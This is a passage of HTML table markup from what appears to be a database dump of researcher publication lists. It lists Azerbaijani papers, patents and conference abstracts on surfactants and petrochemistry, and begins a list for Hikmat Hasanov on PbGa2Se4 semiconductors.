А.Д.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>С.44</p></td></tr><tr><td width=\"47\"><p>36.</p></td><td width=\"208\"><h2>Синтез ПАВ на основе NH<sub>2</sub>-содержащих производных высших алканов и эпоксисоединений</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>С.81</p></td></tr><tr><td width=\"47\"><p>37.</p></td><td width=\"208\"><h2>Исследование&nbsp; нефтевытесняющих свойств фосфатированных олигомеров с различной длиной цепи на основе гетероциклических соединений</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>№11. С.47-51</p></td></tr><tr><td width=\"47\"><p>38.</p></td><td width=\"208\"><h2>Исследование влияния длины цепи олигомеров на основе эпоксисоединений на их нефтесобирающую способность</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>Барзегар Зенуз М.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"88\"><p>№3-4, С. 38-42</p></td></tr><tr><td width=\"47\"><p>39.</p></td><td width=\"208\"><h2>Реакционноспособные олигомеры и полимеры. Синтез и применение (монография)</h2></td><td width=\"160\"><h2>Институт нефтехимических процессов (ИНХП) АН Азербайджана</h2></td><td width=\"136\"><h2>Азизов А.Г.</h2><p>Абдуллаев Я.Г.</p><p>Асадов З.Г.</p><p>Везиров Ш.С.</p><p>Гаджиев Т.А.</p><p>Насиров Ф.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>40.</p></td><td width=\"208\"><h2>Водорастворимые поверхностно-активные акриловые (со)олигомеры и (со)полимеры с оксипропильными фрагментами</h2></td><td width=\"160\"><h2>В кн.:Синтез и применение реакционноспособных олигомеров и полимеров. ИНХП АН Азербайджана</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><h2>Ахмедова Г.А.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"88\"><p>С.219-246</p></td></tr><tr><td width=\"47\"><p>41.</p></td><td width=\"208\"><h2>Poliakril turşusunun oksipropil törəmələrinin alınması üsulu</h2></td><td width=\"160\"><h2>Azərbaycan Respublikası Patenti</h2><h2>P 990025</h2></td><td width=\"136\"><h2>Əsədov Z.H.</h2><h2>Əliyev V.S.</h2><h2>Ağa-zadə Ə.D.</h2><h2>Nəsibova Ş.M.</h2><h2>Qasımov A.Ə.</h2><h2>Əhmədova G.A.</h2></td><td width=\"104\"><h2>Азярбайъан</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>42.</p></td><td width=\"208\"><h2>Каталитическая конденсация высших алканолов (С<sub>10</sub>-С<sub>12</sub>, С<sub>14</sub>) с эпихлоргидрином</h2></td><td width=\"160\"><h2>Тезисы докладов конференции «Тонкий органический синтез и катализ»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"88\"><p>С. 49-50</p></td></tr><tr><td width=\"47\"><p>43.</p></td><td width=\"208\"><h2>Синтез и свойства некоторых неионогенных ПАВ на основе производных алифатических спиртов</h2></td><td width=\"160\"><h2>Нефтехимия</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><h2>2000</h2></td><td width=\"88\"><p>Том 40, №2.С.135-139</p></td></tr><tr><td width=\"47\"><p>44.</p></td><td width=\"208\"><h2>Кинетика оксипропилирования тетрадеканола</h2></td><td width=\"160\"><h2>IV Бакинская Международная Мамедалиевская Нефтехимическая Конференция</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Барзегар Зенуз М.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.43</p></td></tr><tr><td width=\"47\"><p>45.</p></td><td width=\"208\"><h2>ПАВ на основе алифатических одно- основных карбоновых кислот и эпоксисоединений</h2></td><td width=\"160\"><h2>IV Бакинская Международная Мамедалиевская Нефтехимическая Конференция</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Насибова Ш.М.</p><p>Зарбалиева И,А.</p><p>Салманова Ч.К</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.44</p></td></tr><tr><td width=\"47\"><p>46.</p></td><td width=\"208\"><h2>Неионогенные ПАВ на основе местных видов сырья</h2></td><td width=\"160\"><h2>IV Бакинская Международная Мамедалиевская Нефтехимическая Конференция</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Эюбова С.К</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.56</p></td></tr><tr><td width=\"47\"><p>47.</p></td><td width=\"208\"><h2>Полимерные&nbsp; нефтесобирающие и диспергирующие реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы IV Международной Конференции «Химия нефти и газа»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>Россия, Томск</h2></td><td width=\"72\"><h2>2000</h2></td><td width=\"88\"><p>. Т.2,С.508-510</p></td></tr><tr><td width=\"47\"><p>48</p></td><td width=\"208\"><h2>Synthesis and properties of some nonionic surfactants based on propoxylated derivatives of aliphatic alcohols</h2></td><td width=\"160\"><h2>Petroleum Chemistry (ISSN 0965-5441)</h2></td><td width=\"136\"><p>Asadov Z.G.</p><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p></td><td width=\"104\"><h2>Russia,</h2><h2>Russia,</h2><h2>Moscow</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>v.40, №2, p.116-120</p></td></tr><tr><td width=\"47\"><p>49.</p></td><td width=\"208\"><h2>Нефтесобирающие и диспергирующие реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы III Международной Конференции «Экология и Охрана Жизненной Деятельности»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Насибова Ш.М.</p><p>Эюбова С.К</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.57-58</p></td></tr><tr><td width=\"47\"><p>50.</p></td><td width=\"208\"><h2>Поверхностно-активные олигомеры на основе эпоксидов и высших алифатических монокарбоновых кислот</h2></td><td width=\"160\"><h2>Материалы Седьмой Международной Конференции по Химии и физико-химии олигомеров «Oлигомеры-VII»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Эюбова С.К</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Россия, Пермь</h2></td><td width=\"72\"><p>2000</p></td><td width=\"88\"><p>С.39</p></td></tr><tr><td width=\"47\"><p>51.</p></td><td width=\"208\"><h2>Новые неионогенные поверхностно-активные вещества на основе эпоксидов-С<sub>3</sub></h2></td><td width=\"160\"><h2>Российская Конференция «Актуальные Проблемы в Нефтехимии»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Насибова Ш.М.</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>С.88</p></td></tr><tr><td width=\"47\"><p>52.</p></td><td width=\"208\"><h2>Новые неионогенные реагенты&nbsp; нефтесобирающего и диспергирующего действия для очистки поверхности водоемов от нефтяных пленок</h2></td><td width=\"160\"><h2>Российская Конференция «Актуальные Проблемы в Нефтехимии»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Ахмедова Г.А.</h2><p>Эюбова С.К.</p><p>Баннаева Г.К.</p></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>С.300</p></td></tr><tr><td width=\"47\"><p>53.</p></td><td width=\"208\"><h2>Catalytic (chlor)oxypropylation of tridecane acid</h2></td><td width=\"160\"><h2>2-nd&nbsp; Chemical Engineering Conference for Collaborative Research in Eastern Mediterranean</h2></td><td width=\"136\"><p>Asadov Z.G.</p><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p><p>Zarbaliyeva I.A.</p></td><td width=\"104\"><h2>Turkey,</h2><p>Ankara</p></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>P.120-121</p></td></tr><tr><td width=\"47\"><p>54.</p></td><td width=\"208\"><h2>Synthesis of surface-active chloroxypropyl derivatives of the saturated aliphatic monocarboxylic&nbsp; (C<sub>5</sub>, C<sub>6</sub>, C<sub>8</sub>, C<sub>9,</sub>C<sub>16</sub>&nbsp;and C<sub>18</sub>) acids of normal structure</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmedova G.A.</p><p>Aliyev B.M</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>№1.P.27-31</p></td></tr><tr><td width=\"47\"><p>55.</p></td><td width=\"208\"><h2>The propoxylation of tetradecyl and pentadecyl alcohols</h2></td><td width=\"160\"><h2>Petroleum Chemistry (ISSN 0965-5441)</h2></td><td width=\"136\"><p>Asadov Z.G.</p><h2>Aga-zade A.D.</h2><p>M.Barzegar Zenus</p><p>Akhmedova G.A.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Russia,</h2><h2>Moscow</h2></td><td width=\"72\"><p>2001</p></td><td width=\"88\"><p>v.41, №5, p.357-363</p></td></tr><tr><td width=\"47\"><p>56.</p></td><td width=\"208\"><h2>Закономерности оксипропилирования тетра-и&nbsp; пентадецилового спиртов</h2></td><td width=\"160\"><h2>Нефтехимия</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><h2>Барзегар Зенуз М</h2><h2>Ахмедова Г.А.</h2></td><td width=\"104\"><h2>Россия, Москва</h2></td><td width=\"72\"><h2>2001</h2></td><td width=\"88\"><p>Т. 41, №5.С. 389-395</p></td></tr><tr><td width=\"47\"><p>57.</p></td><td width=\"208\"><h2>ПАВ на основе аминов, высших алифатических монокарбоновых кислот и фракций кислот растительного происхождения</h2></td><td width=\"160\"><h2>Материалы IV Международной Конференции «Экология и Охрана Жизненной Деятельности»</h2></td><td width=\"136\"><h2>Ага-заде А.Д.</h2><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Зарбалиева И.А.</p><p>Эюбова С.К.</p><p>Саламова&nbsp; Н.В.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>С.41</p></td></tr><tr><td width=\"47\"><p>58.</p></td><td width=\"208\"><h2>Реагенты, замедляющие испарение бензина</h2></td><td width=\"160\"><h2>Материалы IV Международной Конференции «Экология и Охрана Жизненной Деятельности»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><h2>Ага-заде А.Д.</h2><p>Ахмедова Г.А.</p><p>Саламова Н.В.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>С.84</p></td></tr><tr><td width=\"47\"><p>59.</p></td><td width=\"208\"><h2>Каталитическое хлороксипропилирование алифатических спиртов С<sub>7</sub>-С<sub>9</sub>&nbsp;и С<sub>13</sub></h2></td><td width=\"160\"><h2>2-ая Международная Научная Конференция «Тонкий Органический синтез&nbsp; и катализ» Баку, апрель 2001</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Мустафаева К.Н.</p><h2>Саламова&nbsp; Н.В.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.171-172</p></td></tr><tr><td width=\"47\"><p>60.</p></td><td width=\"208\"><p>Нефтесобирающие реагенты на основе фракции природных кислот и эпоксисоединения.</p></td><td width=\"160\"><p>V Бакинская Международная Мамедалиевская нефтехимическая конференция</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.60</p></td></tr><tr><td width=\"47\"><p>61.</p></td><td width=\"208\"><p>Каталитический синтез неионоген-ных поверхност-но-активных ве-ществ на основе тридекановой кислоты и эпи-хлоргидрина</p></td><td width=\"160\"><p>V Бакинская Международная Мамедалиевская нефтехимическая конференция</p></td><td width=\"136\"><p>Ахмедова Г.А.</p><p>Саламова Н.В.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.227</p></td></tr><tr><td width=\"47\"><p>62.</p></td><td width=\"208\"><p>Влияние природы катализатора на протекание реак-ции (хлор)окси-пропилирования пеларгоновой кис-лоты</p></td><td width=\"160\"><p>V Бакинская Международная Мамедалиевская нефтехимическая конференция</p></td><td width=\"136\"><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Зарбалиева И.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>2002</h2></td><td width=\"88\"><p>С.228</p></td></tr><tr><td width=\"47\"><p>63.</p></td><td width=\"208\"><p>Synthesis of novel cross-linked acrylate copolymers of high water-absorbing capacity</p></td><td width=\"160\"><p>Polymer Networks. 2002. Functional Networks and Gels. 16-th Polymer Networks Group Meeting. Programme and Abstracts</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmadova G.A.</p><p>Nasibova Sh.M.</p><p>Aga-zade A.D.</p></td><td width=\"104\"><p>France,</p><p>Autrans</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>Р.21</p></td></tr><tr><td width=\"47\"><p>64.</p></td><td width=\"208\"><p>Neftyığıcı və neftdispersləyici reagent</p></td><td width=\"160\"><p>Патент И 2004 0172</p></td><td width=\"136\"><p>Əsədov Z.H.</p><p>Ağa-zadə Ə.D.</p><p>Əhmədova G.A.</p><p>Eyubova S.K.</p><p>Salamova N.V.</p></td><td width=\"104\"><p>Азярбайъан</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>65.</p></td><td width=\"208\"><p>Влияние структуры углеродного каркаса (С<sub>13</sub>) неиногенных видов поверхностно-активных веществ на их поверхностную активность и нефтесобирающие свойства.</p></td><td width=\"160\"><p>Процессы нефтехимии и нефтепереработки</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p><p>Зарбалиева И.А</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>№3 (10). с. 61-70</p></td></tr><tr><td width=\"47\"><p>66.</p></td><td width=\"208\"><p>Физико-химические характеристики и поверхностно-активных свойства фракции карбоновых кислот, выделяемых из растительных масел и животных жиров.</p></td><td width=\"160\"><p>Химия и нефтехимия</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>№2.с.5-13</p></td></tr><tr><td width=\"47\"><p>67.</p></td><td width=\"208\"><p>Новые нефтесобирающие и диспергирующие реагенты для удаления тонких нефтяных пленок с водной поверхности .</p></td><td width=\"160\"><p>Материалы научно-практической конференции, посвящ.90-летию Александра Сергеевича Эйгенсона «Нефтепереработка и нефтехимия–2002».Уфа</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p><p>Насибова Ш.М.</p></td><td width=\"104\"><p>Россия,</p><p>Уфа</p></td><td width=\"72\"><p>2002</p></td><td width=\"88\"><p>С.203</p></td></tr><tr><td width=\"47\"><p>68.</p></td><td width=\"208\"><p>Surfactants based on Higher Carboxylic Acids and Epoxy Compounds</p></td><td width=\"160\"><p>Proceedings of the 6<sup>th</sup>Iranian Seminar Polymer Science and Technology (ISPST 2003)</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Nurbas M.</p><p>Aga-zade A.D.</p><p>Kabasakal Sermet O.</p><p>Ahmadova G.A.</p><p>Barzegar Zenuz M.</p></td><td width=\"104\"><p>Iran,</p><p>Tehran</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>p.11</p></td></tr><tr><td width=\"47\"><p>69.</p></td><td width=\"208\"><p>Surface-active properties of monocarboxylic acids oxypropylates</p></td><td width=\"160\"><p>«Процессы нефтехимии и нефтепереработки»</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Aga-zade A.D.</p><p>Ahmedova G.A.</p><p>Zarbaliyeva I.A.</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№ 2, с.</p><p>6-13</p></td></tr><tr><td width=\"47\"><p>70.</p></td><td width=\"208\"><p>Хлороксипропилаты фракции карбоновых кислот говяжьего жира</p></td><td width=\"160\"><p>Тезисы докладов научной конференции, посвященной 95-летнему юбилею акад. М.Ф.Нагиева</p></td><td width=\"136\"><p>Ахмедова Г.А.</p><p>Асадов З.Г.</p><p>Багирова А.М.</p><p>&nbsp;</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>с.139</p></td></tr><tr><td width=\"47\"><p>71.</p></td><td width=\"208\"><p>Олигомерные реагенты для уменьшения степени испарения бензина</p></td><td width=\"160\"><p>Тезисы докладов научной конференции, посвященной 95-летнему юбилею акад. М.Ф.Нагиева</p></td><td width=\"136\"><p>Асадов З.Г</p><p>Ага-заде А.Д.</p><p>Дашдиев Р.А.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>с.140-141</p></td></tr><tr><td width=\"47\"><p>72.</p></td><td width=\"208\"><p>Аминные комплексы высших монокарбоновых кислот (С<sub>8</sub>, С<sub>9</sub>, С<sub>16</sub>и С<sub>18)&nbsp;</sub>и природных кислотных фракций</p></td><td width=\"160\"><p>Химический&nbsp; Журнал Грузии</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Зарбалиева И.А.</p><p>Саламова Н.В.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><p>Грузия, Тбилиси</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№1, т.3, с.17-23</p></td></tr><tr><td width=\"47\"><p>73.</p></td><td width=\"208\"><p>Новые нефтесобирающие и диспергирующие реагенты</p></td><td width=\"160\"><p>Материалы Международной научно-практической конференции «Нефтепереработка и нефтехимия-2003»</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Саламова Н.В.</p><p>Зарбалиева И.А.</p></td><td width=\"104\"><p>Россия,</p><p>Уфа</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>С.242</p></td></tr><tr><td width=\"47\"><p>74.</p></td><td width=\"208\"><p>Замедление испарения нефтепродуктов с помощью реагентов олигомерной природы</p></td><td width=\"160\"><p>Материалы Международной научно-практической конференции «Нефтепереработка и нефтехимия-2003»</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Рагимов Р.А.</p><p>Алиева Г.С.</p></td><td width=\"104\"><p>Россия,</p><p>Уфа</p></td><td width=\"72\"><p>&nbsp;2003</p></td><td width=\"88\"><p>С.242</p></td></tr><tr><td width=\"47\"><p>75.</p></td><td width=\"208\"><p>Petroleum-collecting and dispersing properties of oxypropylates of individual monocarboxylic acids (C<sub>16</sub>, C<sub>18</sub>) and their natural fractions</p></td><td width=\"160\"><p>Processes of petrochemistry and oil refining</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Aga-zade A.D.</p><p>Zarbaliyeva I.A.</p><p>Salamova N.V.</p><p>Ahmadova G.A.</p><p>Eyubova S.K.</p><p>Rahimov R.A.</p><p>Baghirova A.M.</p></td><td width=\"104\"><p>Baku</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№4 (15), P. 4-16</p></td></tr><tr><td width=\"47\"><p>76.</p></td><td width=\"208\"><p>Synthesis of surface-active ethers and esters based on (di)methylaminoethanol and propylene oxide</p></td><td width=\"160\"><p>Georgia Chemical Journal</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Aga-zade A.D.</p><p>Ahmadova G.A.</p><p>Nasibova Sh.M.</p><p>Rahimov R.A.</p><p>Aliyeva G.S.</p></td><td width=\"104\"><p>Georgia</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>V. 3, №3, P. 205-211</p></td></tr><tr><td width=\"47\"><p>77.</p></td><td width=\"208\"><p>Synthesis of non-ionogene surfactants based on higher saturated aliphatic linear alcohols (C<sub>7</sub>-C<sub>15</sub>) and epichlorohydrin</p></td><td width=\"160\"><p>Azerbaijan Chemical Journal</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmadova G.A.</p></td><td width=\"104\"><p>Baku</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№4. p.112-117</p></td></tr><tr><td width=\"47\"><p>78.</p></td><td width=\"208\"><p>Исследование нефтесобирающих и нефтедиспергирующих свойств высших монокарбоновых кислот и кислотных фракций из масел и жиров</p></td><td width=\"160\"><p>Нефтяное хозяйство</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Зарбалиева И.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p><p>Исаева М.З.</p></td><td width=\"104\"><p>Россия,</p><p>Москва</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>№ 4, С. 116-119</p></td></tr><tr><td width=\"47\"><p>79.</p></td><td width=\"208\"><p>New quaternary salts based on ethanolamins and alkyl bromides</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Nasibova Sh. M.</p><p>Ahmadova G.A.</p><p>Guliyev A.D.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>P. 1025</p></td></tr><tr><td width=\"47\"><p>80.</p></td><td width=\"208\"><p>(Chlor)oxypropylation of polyatomic aliphatic alcohols (C<sub>2</sub>-C<sub>3</sub>)</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Aga-zade A.D.</p><p>Asadov Z.H.</p><p>Ahmadova G.A.</p><p>Rahimov R.A.</p><p>Baghirova R.A.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>P. 1026</p></td></tr><tr><td width=\"47\"><p>81.</p></td><td width=\"208\"><p>Нефтесобирающие и диспергирующие свойства хлорокси-пропилатов выс-ших монокарбо-новых кислот и их природных фракций</p></td><td width=\"160\"><p>Процессы нефтехимии и нефтепереработки</p></td><td width=\"136\"><p>Ахмедова Г.А.</p><p>&nbsp;</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>№4 (19). С.15-30</p></td></tr><tr><td width=\"47\"><p>82.</p></td><td width=\"208\"><p>New cationo-active oliqomeric electrolytes based on epichlorohydrin and amines</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Ahmadova G.A. Asadov Z.H.&nbsp;&nbsp;&nbsp;</p><p>Isayeva M.Z.</p><p>Safarov N.A.</p><p>Alieva G.A.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>&nbsp;2004</p></td><td width=\"88\"><p>P. 1061</p></td></tr><tr><td width=\"47\"><p>83.</p></td><td width=\"208\"><p>Influence of propylene oxide on copolymerization of higher α-olefins (C<sub>8</sub>-C<sub>10</sub>) and acrylic acids</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Nasibova Sh. M.</p><p>Asadov Z.H.&nbsp;&nbsp;&nbsp;</p><p>Ahmadova G.A.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>&nbsp;2004</p></td><td width=\"88\"><p>P. 1062</p></td></tr><tr><td width=\"47\"><p>84.</p></td><td width=\"208\"><p>Oligomeric derivatives of epichlorohydrin and propylene oxide for decreasing the rate of gasoline evaporation</p></td><td width=\"160\"><p>11<sup>th</sup>&nbsp;International Conference on Polymers and Organic Chemistry.</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmadova G.A.</p><p>Aga-zade A.D.</p><p>Rahimov R.A.</p></td></tr></tbody></table>  <br></div>'),(1536,960,'az','Hikmat Hasanov','Hikmat Hasanov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Получение и электрические свойства PbGa<sub>2</sub>&nbsp;Se<sub>4</sub>.</p></td><td width=\"102\"><p>Тезисы докладов IV Респ. конфер. молодых ученых</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>г.Баку</p></td><td width=\"60\"><p>1988</p></td><td width=\"60\"><p>стр. 167</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Получение, электрические и люминесцентные&nbsp; свойства монокристаллических соедине-ний типа .<strong></strong></p></td><td width=\"102\"><p>Тезисы докладов VII Всесоюз. конферен. \'\'Химия, физика и техни-ческое применение халькогенидов</p></td><td width=\"84\"><p>Тагиев Б. Г., Мусаева С.И., Тагиев О.Б., Гасанов Х.Г. Касимова Г.А., Зейналов Э.З.</p></td><td width=\"102\"><p>г.Ужгород</p></td><td width=\"60\"><p>1988</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p>стр. 58<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотопроводимость в монокристаллах PbGa<sub>2</sub>Se<sub>4</sub>.<strong></strong></p></td><td width=\"102\"><p>Труды координац. совещания соц стран по физическим проблемам оптоэлектроники</p></td><td width=\"84\"><p>Тагиев Б.Г., Асланов Г.К., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>1989</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p>29 стр.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фоточувстви-тельный материал.<strong></strong></p></td><td width=\"102\"><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p>Тагиев Б.Г., Аскеров И.М., Айдаев Ф.Ш., Асланов Г.К., Гасанов. Х.Г.</p></td><td width=\"102\"><p>Авторское свидетельство СССР № 1547638</p></td><td width=\"60\"><p>01.11.1989</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фоточувствительный материал</p></td><td 